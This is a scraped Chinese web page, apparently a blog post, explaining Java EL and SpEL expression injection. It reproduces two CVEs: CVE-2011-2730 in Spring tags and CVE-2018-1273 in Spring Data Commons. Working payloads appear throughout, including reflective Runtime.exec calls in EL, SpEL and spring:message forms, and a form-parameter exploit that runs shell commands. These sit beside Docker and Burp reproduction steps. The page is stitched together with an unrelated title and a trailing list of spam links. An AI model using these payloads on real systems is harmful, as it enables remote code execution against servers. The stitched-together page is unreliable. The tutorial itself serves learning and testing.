当前位置: 首页 > news >正文

电商网站规划网站建设的好公司

电商网站规划,网站建设的好公司,中国app开发公司排名,网站设计指南1 前置知识 1.1 EL表达式 EL表达式主要功能#xff1a; 获取数据#xff1a;可以从JSP四大作用域中获取数据执行运算#xff1a;执行一些关系运算#xff0c;逻辑运算#xff0c;算术运算获取web开发常用对象#xff1a;通过内置 的11个隐式对象获取想要的数据调用jav…1 前置知识 1.1 EL表达式 EL表达式主要功能 获取数据可以从JSP四大作用域中获取数据执行运算执行一些关系运算逻辑运算算术运算获取web开发常用对象通过内置 的11个隐式对象获取想要的数据调用java方法允许用户开发自定义EL函数通过EL表达式调用java方法 JSP四大作用域 page只在一个页面保存数据默认request只在一个请求保存数据session只在一个会话保存数据application在整个服务器保存数据全部用户共享 EL表达式获取对象属性的方法 ${对象.属性}[] 属性名中存在特殊字符或者属性名是一个变量时使用 实例化java内置类 例如使用Runtime.class会执行系统命令${Runtime.getRuntime().exec(calc)} jsp标准方法与EL表达式取值的区别 JSPEL表达式%((Person)request.getAttribute(p)).getName()%${p.name}%((Person)request.getAttribute(p)).getAge()%${p.age} 1.2 SPEL表达式 SPEL表达式注入独立于Spring容器使用但只被当成简单的表达式语言使用 SPEL中EvaluationContext表示解析器用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口 两种实现方法 SimpleEvaluationContextStandardEvaluationContext默认权限小只支持一些map结构权限大可以执行任意代码会被恶意用户利用针对不需要SPEL语言语法的全部范围并且应该受到有意限制的表达式类别公开SpEL语言特性和配置选项的子集公开SpEL全部语言功能和配置选项。用户可以使用他来指定默认的跟对象并配置每个可用的评估相关策略 利用 String expressionstr T(Runtime).getRuntime().exec(\calc\); // 创建解析器SpEL 使用 ExpressionParser 接口表示解析器提供 SpelExpressionParser 默认实现 ExpressionParser parser new SpelExpressionParser(); // 构造上下文准备比如变量定义等等表达式需要的上下文数据 EvaluationContext evaluationContext new StandardEvaluationContext(); // 解析表达式使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象 Expression expression parser.parseExpression(expressionstr); system.out.prinln(expression.getValue(evaluarionContext));2 漏洞描述 表达式注入EL表达式JSP的一种内置语言。作用于用户访问页面的上下文以及不同作用域的对象取得对象属性值或者执行简单的运算和判断操作。 3 通用POC //对应于JSP页面中的pageContext对象注意取的是pageContext对象 ${pageContext}//获取Web路径 ${pageContext.getSession().getServletContext().getClassLoader().getResource()}//文件头参数 ${header}//获取webRoot ${applicationScope}//执行命令 ${pageContext.request.getSession().setAttribute(a,pageContext.request.getClass().forName(java.lang.Runtime).getMethod(getRuntime,null).invoke(null,null).exec(calc).getInputStream())}4 CVE-2011-2730-Spring标签EL表达式注入 原理Spring的message标签会对EL表达式进行解析且 web容器也会对EL表达式进行解析两次解析造成EL表达式注入。 spring message标签形式spring:message text${param.a}/spring:message 利用 获取信息a ${applicationScope} 攻击性利用反射先获取getRuntime方法中的method对象然后通过invoke获取Runtime对象然后可以直接调用exec方法运行恶意代码 spring:message text ${//.getClass().forName(/java.lang.Runtime/).getMethod(/getRuntime/,null).invoke(null,null).exec(/calc/,null).toString()} /spring:message验证步骤 确定web应用使用了spring标签因为没有spring标签的话也就谈不上EL表达式注入了确定标签中存在EL注入可以通过提交${applicationScope}等进行测试判断servlet容器版本如果容器不支持EL2.2的话存在EL注入也只能进行获取服务器信息等操作了如果容器支持EL2.2就可以尝试构造攻击代码对服务器本身直接进行攻击 5 CVE-2018-1273-Spring Data Commons 远程代码执行漏洞 5.1 描述 成因当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候会将用户提交的form表单的key值作为Spel的执行内容。 前置知识Spring Data是一个用于简化数据库访问并支持云服务的开源框架Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中存在一处SpEL表达式注入漏洞攻击者可以注入恶意SpEL表达式以执行任意命令. 漏洞的判定确认目标项目中含有Spring-data-commons包并且版本范围如下 Spring Data Commons 1.13 to 1.13.10 Spring Data Commons 2.0 to 2.0.5 5.2 docker复现 burp抓包使用payload username[#this.getClass().forName(java.lang.Runtime).getRuntime().exec(touch /tmp/success)]passwordrepeatedPassword 放包页面返回如下 使用命令docker-compose exec spring bash 进入目录查看是否有success有success
http://www.w-s-a.com/news/793832/

相关文章:

  • 免费网页模板网站php微信微网站怎么做
  • 网站的优点和缺点腾讯企点是什么软件
  • 谷歌英文网站推广网页设计好看的网站
  • 衡水网站建设集团各大网站注册
  • 违法网站开发做注册任务网站源码
  • 帝国cms仿站工具淮南寿县
  • 深圳网站建设方案外包手机怎样使用域名访问网站
  • 安陆市建设局网站磐安做网站
  • 梧州市建设局官方网站商旅100网页版
  • 好的宝安网站建设中企动力的网站开发语言
  • flash网站模板怎么用怎么套模板 网站
  • 建设二手商品网站总结石景山安保服务公司电话
  • 网站建设对于企业的重要性龙岗企业网站设计公司
  • 网站搭建在线支付数码产品网站模板
  • 白云网站建设多少钱WORDPRESS添加前台会员注册
  • 商业网站模板中国字体设计网站
  • 做网站闵行网站建设中英语
  • 写作网站大全如何简单制作生理盐水
  • 云南网站建设维护互联网广告是做什么的
  • 网站 谁建设 谁负责做网站项目
  • 网站建设子栏目怎么弄海口专门做网站
  • 网站建设 温州建设网上银行个人网上银行登
  • 黄页网站推广方案wordpress 压缩插件
  • 网站建设常州网站简介 title
  • 惠州市网站建设个人深圳网站优化价格
  • 营销型网站工程专业网站开发公司
  • 两个路由器做双网站西安关键词优化服务
  • 企业建站系统信息远象建设 网站
  • 移动建站平台物业管理系统app
  • 济南网站建设多少钱郑州公司做网站